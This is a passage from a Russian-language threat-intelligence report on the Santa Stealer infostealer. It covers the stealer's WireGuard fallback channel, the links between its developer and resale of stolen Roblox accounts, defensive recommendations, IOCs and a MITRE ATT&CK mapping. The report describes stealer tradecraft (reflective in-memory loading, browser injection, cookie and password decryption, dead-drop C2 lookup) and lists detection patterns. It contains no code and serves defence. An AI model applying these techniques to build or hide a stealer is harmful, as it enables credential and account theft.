После получения WireGuard-конфига поднимается UDP-туннель по протоколу WireGuard. Дальнейший трафик к C2 может маршрутизироваться через этот туннель. В таком режиме снаружи будут видны в основном легитимно выглядящие UDP-пакеты к инфраструктуре Cloudflare, а реальный C2-адрес окажется скрыт внутри туннеля и не будет напрямую фигурировать в сетевом трафике жертвы.

Связь с продажей аккаунтов

Помимо того, что сам Santa Stealer является сравнительно свежим и динамично развивающимся стилером, не менее интересен и вопрос о том, куда в конечном счете попадают похищенные данные, а прежде всего аккаунты.

В ходе исследования наша команда установила, что предполагаемый разработчик Santa Stealer активно занимается продажей аккаунтов, в первую очередь связанных с Roblox. При этом речь, по-видимому, не идет о разрозненной деятельности одиночного продавца.

Примечательно, что с предполагаемым разработчиком Santa Stealer, по всей видимости, связан и более крупный продавец, действующий на той же площадке. Именно этот человек относится к числу крупнейших продавцов и при этом практически не скрывает происхождение товара: в описаниях прямо указывается, что аккаунты были получены с использованием стилера. Такая связка указывает не только на наличие устойчивого канала сбыта похищенных данных, но и на то, что Santa Stealer, вероятно, встроен в более широкую инфраструктуру кражи и перепродажи учетных записей.

Из этого следуют как минимум два вывода. Во-первых, создатель семейства, вероятно, не ограничивается разработкой и продажей самого инструмента, а также вовлечен в дальнейший оборот похищенной информации.
Во-вторых, нельзя исключать и более неприятный сценарий: доступ к результатам заражения потенциально может получать не только конечный покупатель малвари, но и любой субъект, имеющий прямой доступ к управляющей инфраструктуре или каналам эксфильтрации.

Именно это делает схему вдвойне опасной. Даже если злоумышленник приобретает подписку на Santa Stealer и использует его как «собственный» инструмент, это не гарантирует эксклюзивного доступа к похищенным данным. Более того, не факт, что оператор вообще получает весь объем украденной информации, — часть данных может оседать у разработчика, посредника или иной стороны, контролирующей инфраструктуру.

Иными словами, речь идет не только о незаконном распространении и использовании ВПО, но и о модели, в которой даже сами покупатели такого сервиса могут выступать лишь одним из потребителей украденных данных.

Рекомендации

Компаниям следует строить и поддерживать культуру ИБ вместо «тестов для галочки». Классический фишинг операторов MaaS эволюционирует быстрее, чем ежегодные инструкции.

• Нужно постоянное практическое обучение: регулярные, адаптивные симуляции фишинга (на базе актуальных ИИ-генераций и ИТ-оповещений). Цель — довести до автоматизма: «сомневаешься — не открывай, а перешли в ИБ».
• Жесткая цифровая гигиена: полный запрет личного софта, мессенджеров и сторонних расширений на критических рабочих станциях. Исключительно по согласованию. Сотрудники должны понимать последствия одного случайного клика.

Главный рубеж — не допустить запуск. ClickFix атакует человека, а не уязвимость браузера, поэтому здесь лучше работает связка «обучение + жесткий контроль исполнения»:

• Запретить запуск любых исполняемых файлов и скриптов (PowerShell, VBS и т. д.) из недоверенных директорий (%appdata%, %temp%, папка загрузок) через AppLocker или WDAC.
• Проводить аудит запусков через RunMRU, ограничить доступ обычных пользователей к скриптовым интерпретаторам.

Поведенческое обнаружение и блокировка. Обфускация и запуск исключительно в памяти затрудняют обнаружение сигнатурными методами, поэтому необходимо поведенческое обнаружение.

• SIEM против подобных стилеров недостаточно, детектирование без блокировки запаздывает: к моменту срабатывания корреляции эксфильтрация уже идет или завершена.
• Здесь основной рубеж — EDR/XDR. Признаки поведения стилера должны не просто фиксироваться, а вызывать активную реакцию в реальном времени: обрыв инжекта и удаленного потока, завершение процесса-источника, изоляция хоста. Именно блокировка, а не только алерт, останавливает цепочку на ранней стадии и не позволяет успешно эксфильтрировать данные.

Нужно контролировать периметр и блокировать теневые туннели (WireGuard/VPN), поскольку WireGuard или прокси-протоколы могут использоваться для обхода корпоративной фильтрации и маскировки эксфильтрации данных под обычный трафик.

• Использование сторонних VPN-сервисов сотрудниками должно пресекаться. Необходимы NGFW и DPI-системы, способные выявлять и блокировать сигнатуры WireGuard-туннелей в реальном времени.
• Мониторить обращения к известным Dead-Drop-страницам: публичные посты Telegram с параметром ?embed=1, API-запросы к профилям Mastodon вида /api/v1/accounts/<id>, профили Steam (steamcommunity[.]com/profiles/), пейлисты Spotify (open.spotify[.]com/playlist/), профили Chess (www.chess[.]com/member/) и другие. Особенно при обращениях со стороны небраузерных или несоответствующих процессов.

Если запуск все же произошел, нужно мгновенно «обесценить» украденное:

• Сброс сессий и смена паролей: стилеры крадут сессионные куки (Session Cookies), поэтому простой смены пароля мало. Необходим немедленный отзыв абсолютно всех активных веб-сессий и токенов авторизации.
• Изоляция и отзыв секретов: мгновенный отзыв API-ключей, к которым был доступ у пользователя, и изоляция хоста от сети для сбора оставшихся артефактов.

Заключение

Santa Stealer — не очередной рядовой инфостилер, а зрелая MaaS-платформа, прошедшая путь от классического граббера до инструмента подготовки данных к монетизации. Конфиг-ориентированная архитектура (модули остаются в сборке даже при пустом конфиге), 16 заявленных модулей в панели и билдере, двухслойное сокрытие строк (XOR-распаковка блоба плюс ChaCha20 для отдельных строк), перехват данных прямо из памяти браузеров через инжект в их процессы и многоканальная эксфильтрация с резервированием C2 указывают на коммерческую зрелость продукта, а не на разовую поделку. Мы предполагаем, что за семейством стоит активный участник теневого рынка, для которого сам стилер лишь один элемент более широкой схемы: те же лица, по всей видимости, связаны с массовой перепродажей похищенных аккаунтов (в первую очередь Roblox) на профильной площадке, где происхождение товара даже не скрывается.

Отдельно выделим важную особенность стилера: он не рассчитан на длительное закрепление и стремится завершить эксфильтрацию раньше, чем отреагируют средства защиты. Его модель работы ближе к «быстро распаковаться, быстро собрать, быстро отправить». Это подтверждается как описанием в панели, так и самим инцидентом: образец успел распаковаться и начать выполнение до того, как защитные средства смогли полноценно отреагировать. В таких сценариях классические антивирусы могут просто не успеть остановить цепочку на ранней стадии, особенно если вредонос активно обфусцирует строки, восстанавливает конфиг в памяти и быстро переходит к сбору данных. При этом подобная активность хорошо ложится на поведенческое детектирование: массовый доступ к браузерным профилям, чтение Local State, DPAPI-дешифрование, SQL-запросы к Login Data / Cookies, сбор токенов, multipart-эксфильтрация, чанкование полезной нагрузки, а также попытки поднять WARP/WireGuard-туннель являются устойчивыми признаками.

Наиболее значимой мы считаем не техническую начинку, а экосистему вокруг нее. Модель MaaS в связке с централизованной C2-инфраструктурой может означать, что покупатель подписки не является единственным потребителем украденных данных: часть логов вполне может оседать у разработчика, посредника или любой стороны, контролирующей инфраструктуру и каналы эксфильтрации. Мы предполагаем, что связки «стилер плюс готовый канал сбыта» будут вытеснять разрозненных одиночек на этом рынке. Для жертвы же это означает, что компрометация одного аккаунта с высокой вероятностью обернется его появлением сразу в нескольких независимых каналах перепродажи.

IOC

Files

Семпл из инцидента

MD5

0abd3ec86737fade642a788a32525ef1

SHA1

2168c66bc49262e1f3c985fced85d929e609472e

SHA256

29d99bcf15cd992eb1f97a0d01f50212707ebb631c53c7a16046059454a3a479

Другие семплы

MD5

c5de32c7dc35349491dfd4757f25536c

SHA1

96b3bb8484ebd47cffe1d9bc7f2751a5109e9063

SHA256

d5e2f0f451d01a94fcea7bd95d87495ce1867394812f7b707e7c2a2d086339a2

MD5

6cab5d22e4942129777c5ef9756ffd16

SHA1

202b88ad922407135d19917ef0dfc1319405a44c

SHA256

90a052cf21171af3874cd2cd420fd0db7b6296d800e6a27aba5976a8c54167cb

MD5

48e9cbb09d4095f855e56a63ad1cb325

SHA1

865186a8e8628f82cafeed381a9985bb08e06d6d

SHA256

44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a

Domains

ruruurururururu[.]ru
iauhgubyag[.]ru

IP

158.94.208.226
178.16.55.36
91.92.241.10
86.54.42.60
80.76.49.97
151.242.63.116
195.177.94.44
80.76.49.124

Приложение 1. Основная инфраструктура стилера

IP	Назначание
158.94.208.226	Основной бэкенд, С2 панель
91.92.241.10	Хост доставки полезной нагрузки
195.177.94.44	Удаленный доступ (через ScreenConnect), но в самом Santa Stealer данный функционал отсутствует

MITRE ATT&CK

Тактика	ID	Техника	Процедура
Initial Access	T1189	Drive-by Compromise	Пользователя убеждали перейти на подконтрольный злоумышленникам ресурс kentuckyfiredepartment[.]com, имитирующий проверку CAPTCHA. Страница использовалась как точка входа для социальной инженерии без эксплуатации уязвимостей браузера.
Execution	T1204.004	User Execution: Malicious Copy and Paste	Фишинговая страница инструктировала жертву открыть диалог Run (Win+R) и выполнить заранее подготовленную команду под видом «прохождения капчи». В обмен пользователю обещали 90-дневный токен, освобождающий от повторных проверок.
	T1059.001	Command and Scripting Interpreter: PowerShell	В цепочке запуска использовались PowerShell-команды/скрипты. В sandbox видно выполнение через powershell.exe с обходом ExecutionPolicy.
Collection	T1005	Data from Local System	Стилер собирает данные с локальной системы: файлы, браузерные артефакты, данные приложений, криптокошельки и пользовательские данные.
	T1114	Email Collection	Присутствуют признаки сбора данных почтовых клиентов и коммуникационных приложений.
	T1115	Clipboard Data	В коде есть отдельная логика чтения буфера обмена через get_clipboard().
	T1113	Screen Capture	Sandbox/CAPA отмечает возможность создания скриншота.
Credential Access	T1555	Credentials from Password Stores	ВПО извлекает учетные данные из локальных хранилищ паролей. Основной фокус — браузерные password stores.
	T1555.003	Credentials from Web Browsers	Реализован сбор данных Chromium/Firefox/Yandex/Opera-подобных браузеров: пароли, cookies, токены, профили, SQLite-базы.
	T1552.001	Unsecured Credentials: Credentials In Files	Стилер ищет и забирает чувствительные данные из файлов приложений, расширений, криптокошельков и локальных конфигов.
Discovery	T1082	System Information Discovery	Собирается информация о системе: имя хоста, HW Profile GUID, MachineGuid, CPU/RAM/disk, переменные окружения и базовая информация об ОС.
	T1057	Process Discovery	ВПО перечисляет процессы. В sandbox также видны операции с процессами и потенциальная подготовка к инжекту.
	T1083	File and Directory Discovery	Активно перечисляются директории и файлы: профили браузеров, папки приложений, расширения, кошельки, пользовательские директории.
	T1012	Query Registry	Используется чтение реестра, включая получение MachineGuid из HKLM\SOFTWARE\Microsoft\Cryptography.
	T1518	Software Discovery	ВПО собирает информацию об установленных приложениях и проверяет наличие целевых программ/браузеров/клиентов.
Defense Evasion	T1620	Reflective Code Loading	Go-дропер реализует самописный PE-загрузчик: выделяет RWX-память через main_Census (обертка над VirtualAlloc с MEM_COMMIT | MEM_RESERVE | PAGE_EXECUTE_READWRITE), мапит секции через цикл memmove, применяет релокации (main_Desert), резолвит импорты (main_Axis) и передает управление на OEP через syscall_Syscall. Основная нагрузка никогда не записывается на диск.
	T1027	Obfuscated Files or Information	Строки и конфиг обфусцированы. В псевдокоде почти повсеместно используется СhaСha20, а также встречаются XOR/Base64/DPAPI/AES-related операции.
	T1070.004	Indicator Removal: File Deletion	Удаление файлов / старых версий. Это используется для зачистки следов или обновления компонентов.
	T1140	Deobfuscate/Decode Files or Information	Перед использованием строки, конфиг и часть параметров восстанавливаются в рантайме через функцию декрипта.
	T1497	Virtualization/Sandbox Evasion	Есть признаки антианализа: sleep/evasive loops и проверки окружения, мешающие динамическому анализу.
Privilege Escalation / Defense Evasion	T1055	Process Injection	Запись в память другого процесса, создание потока и инжект PE/кода в чужие процессы (те же браузеры).
	T1055.003	Thread Execution Hijacking / Thread Injection	Признаки thread injection: создание/использование потока в стороннем процессе.
Command and Control	T1071	Application Layer Protocol	C2-обмен реализован поверх HTTP/HTTPS через WinHTTP. Данные отправляются POST-запросами.
	T1573	Encrypted Channel	Используется HTTPS, а также дополнительная обфускация/шифрование payload перед отправкой.
	T1571	Non-Standard Port	Основной C2 наблюдался на нестандартном порту 8880.
	T1105	Ingress Tool Transfer	Присутствуют fallback-механизмы получения данных.
	T1102.001	Web Service: Dead Drop Resolver	Резервный адрес C2 извлекается и декодируется из HEX-последовательности из публичных веб-сервисов: Телеграм-канал, контролируемый злоумышленниками. Поле note аккаунта ioc[.]exchange — соцсети на основе Mastodon.
Exfiltration	T1567/T1041	Exfiltration Over Web Service / Web Protocol	Собранные данные агрегируются, дополнительно XOR’ятся, режутся на чанки до 0xA00000 байт и отправляются через HTTP/HTTPS.
	T1048	Exfiltration Over Alternative Protocol	В коде присутствует fallback-транспорт через Cloudflare WARP/WireGuard-like туннель, который может скрывать реальный C2 внутри легитимного UDP-трафика.